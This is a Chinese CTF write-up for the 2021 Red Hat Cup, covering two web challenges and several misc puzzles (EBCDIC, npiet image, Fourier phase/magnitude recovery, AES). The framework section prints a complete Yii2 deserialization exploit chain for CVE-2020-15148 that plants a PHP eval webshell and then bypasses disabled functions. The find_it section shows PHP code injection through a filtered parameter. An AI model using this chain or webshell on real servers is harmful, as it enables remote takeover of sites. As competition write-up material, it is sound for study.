红帽杯
WEB
find_it
Analyze
打开是一个tutum的站,但是网上搜了一圈没啥东西,扫描找到rebots.txt
When I was a child,I also like to read Robots.txt
Here is what you want:1ndexx.php
需要我们看1ndexx.php文件,直接访问是502,然后各种备份扫了一遍,找到备份文件.1ndexx.php.swp
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
稍微审计得到这个其实是首页,其中会写入code的请求到hack.php,看看phpinfo结果直接找到flag
/?code=<?php phpinfo();
然后访问hack.php
flag
flag{a96b9b00-fe0b-4351-9d3f-6b72bea7f883}
framework
Analyze
打开是一个Yii的站,百度搜了下相关漏洞后尝试了一下CVE-2020-15148
去读phpinfo,结果真成了。。。
然后尝试RCE,其中发现system给ban了...得想方法绕
于是先写了个马上去,poc为:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents("/var/www/html/web/1.php","<?php eval(\$_POST[attack]);");';
// $this->checkAccess = 'phpinfo';
// $this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
然后蚁剑链接,发现还是没有办法操作
于是用插件
选择第三种模式给绕过了,执行readflag得到flag
flag
flag{6810dd91-f5a6-44ef-b549-d310935198c8}
MISC
签到
Analyze
EBCDIC编码即可
flag
flag{we1c0me_t0_redhat2021}
colorful code
Description
colorful code is beautiful, isn't it?
最终得到flag的格式中加上flag{}包裹再提交
Analyze
一共有data1和data2,data1全部为可见字符
观察后发现data1最小值为0,最大值为19,中间包含了20个数字,同时发现data2之前的数字不正常
且一共有60个数据,其可能为3个为一组的RGB值,然后根据data1来画图,书写脚本得到图片
from PIL import Image
a = open('data1','r').read().split(' ')[:-1]
print(len(a))
b = open('data2','rb')
R = []
G = []
B = []
for i in range(20):
rgb = str(b.read(3)).replace('b','').replace('\'','').split('\\x')[1:]
R.append(rgb[0])
G.append(rgb[1])
B.append(rgb[2])
# R = str(b.read(20)).replace('b','').replace('\'','').split('\\x')[1:]
# G = str(b.read(20)).replace('b','').replace('\'','').split('\\x')[1:]
# B = str(b.read(20)).replace('b','').replace('\'','').split('\\x')[1:]
print(R,G,B)
# print(len(dic))
# np = Image.new('RGB',(191,37))
np = Image.new('RGB',(37,191))
for i in range(len(a)):
# print(int(R[int(a[i])],16))
data = (int(R[int(a[i])],16),int(G[int(a[i])],16),int(B[int(a[i])],16))
# nnp = Image.new('RGB',(5,5),data)
# np.paste(nnp,(i%191*5,i//191*5))
np.putpixel((i//191,i%191),data)
np.save('r.png')
这种图片已经很多见了,为npiet的图片编程语言,BertNase's Own - npiet fun!可以直接解得到flag
flag
flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}
PicPic
Description
你想成为CV大师嘛?
Analyze
文件有个加密rar和一组文件,有一个creat.py
import os
import cv2
import struct
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.log(np.abs(fft))
p = np.angle(fft)
return m, p
if __name__ == '__main__':
os.mkdir('m')
os.mkdir('p')
os.mkdir('frame')
os.system('ffmpeg -i secret.mp4 frame/%03d.png')
files = os.listdir('frame')
r_file = open('r', 'wb')
for file in files:
img = cv2.imread(f'frame/{file}', cv2.IMREAD_GRAYSCALE)
m, p = fft(img)
r_file.write(struct.pack('!ff', m.min(), m.max()))
new_img1 = mapping(m)
new_img2 = mapping(p)
cv2.imwrite(f'm/{file}', new_img1)
cv2.imwrite(f'p/{file}', new_img2)
r_file.close()
os.system('ffmpeg -i m/%03d.png -r 25 -vcodec png 1.mkv')
os.system('ffmpeg -i p/%03d.png -r 25 -vcodec png 2.mkv')
大概意思是说将一个mp4按帧分解,得到的图片分别分成幅值图与相位图,然后将图片再重组成mkv
这里我们先将mkv还原成图片 ffmpeg -i 1.mkv -y m/%03d.png
、 ffmpeg -i 2.mkv -y p/%03d.png
。
然后得到的图片根据源代码来解密,数据都已经给了r就是打包后幅值的最大值与最小值,解包就可以得到,而相位的最大值最小值即为-Π到Π,然后根据傅里叶变换原理,cos为相位的实值,sin为相位的虚值,所以我们要得到原来的傅里叶数据还需要幅值与相位的sin,cos相乘,即可得到原来的傅里叶值,再对傅里叶进行反变换即可得到原数据,据此写下脚本:(我就是不用cv2,欸,就是玩儿)
import os
import cv2
import struct
import numpy as np
from PIL import Image
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
a = open(r'challenge 1\r','rb')
files = os.listdir(r'challenge 1\m')
for file in files:
m = np.array(Image.open(r'challenge 1\m\\'+file).convert('L'))
p = np.array(Image.open(r'challenge 1\p\\'+file).convert('L'))
r = struct.unpack('!ff',a.read(8))
Min = float(r[0])
Max = float(r[1])
m = m.astype(np.float64)
p = p.astype(np.float64)
m = mapping(m,Min,Max,np.float64)
p = mapping(p,-np.pi, np.pi,np.float64)
m = np.exp(m)
fft = (m*np.cos(p)) + (m * np.sin(p) * 1j)
fft = np.fft.ifftshift(fft)
img = mapping(np.fft.ifft2(fft))
Image.fromarray(img).save(r'challenge 1\frame/'+file)
据此得到200张图片,其中加密rar的密码的图片在最后
解压rar,开始第二层
上了两张图和一个mathml的hint
hint为:
其大概意思是将图片的相位互换,这个信号与系统有个专有名词叫啥俺给忘了-。-,写个脚本可以得到一个二维码
from PIL import Image
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
def fft(img):
fft = np.fft.fft2(img)
fft = np.fft.fftshift(fft)
m = np.abs(fft)
p = np.angle(fft)
return m.astype(np.float64), p.astype(np.float64)
pic1 = np.array(Image.open(r'next_challenge\challenge 2\mix1.png').convert('L'))
pic2 = np.array(Image.open(r'next_challenge\challenge 2\mix2.png').convert('L'))
m1,p1 = fft(pic1)
m2,p2 = fft(pic2)
fft1 = m1*np.cos(p2) + m1 * np.sin(p2)*1j
fft2 = m2*np.cos(p1) + m2 * np.sin(p1)*1j
np1 = mapping(np.abs(np.fft.ifft2(fft1)))
np2 = mapping(np.abs(np.fft.ifft2(fft2)))
Image.fromarray(np1).save(r'next_challenge\challenge 2\res1.png')
Image.fromarray(np2).save(r'next_challenge\challenge 2\res2.png')
扫描后得到0f88b8529ab6c0dd2b5ceefaa1c5151aa207da114831b371ddcafc74cf8701c1d3318468d50e4b1725179d1bc04b251f
一串十六进制,先不管,继续最后一个
最后一个只有一张图,其文件名为phase,也就是相位。所以应该是单纯的相位图,而傅里叶告诉了我们,幅值只是图片的强弱,而相位图可以存储图片的轮廓,所以我们只要知道轮廓就行,幅值就统一即可。据此写出脚本:
from PIL import Image
import numpy as np
def mapping(data, down=0, up=255, tp=np.uint8):
data_max = data.max()
data_min = data.min()
interval = data_max - data_min
new_interval = up - down
new_data = (data - data_min) * new_interval / interval + down
new_data = new_data.astype(tp)
return new_data
pic = np.array(Image.open(r'next_challenge\final challenge\phase.png').convert('L'))
p = mapping(pic,-np.pi, np.pi, np.float64 )
fft = np.exp(p*1j)
p = np.fft.fftshift(fft)
img = mapping(np.abs(np.fft.ifft2(p)))
Image.fromarray(img).save(r'next_challenge\final challenge\res.png')
得到图片:
为aes密钥:a8bms0v4qer3wgd67ofjhyxku5pi1czl
然后最后一步就算他的十六进制为密文解密的AES,我们先把十六进制转字符然后base64,最后放进工具网站一把梭得到flag
flag
flag{1ba48c8b-4eca-46aa-8216-d164538af310}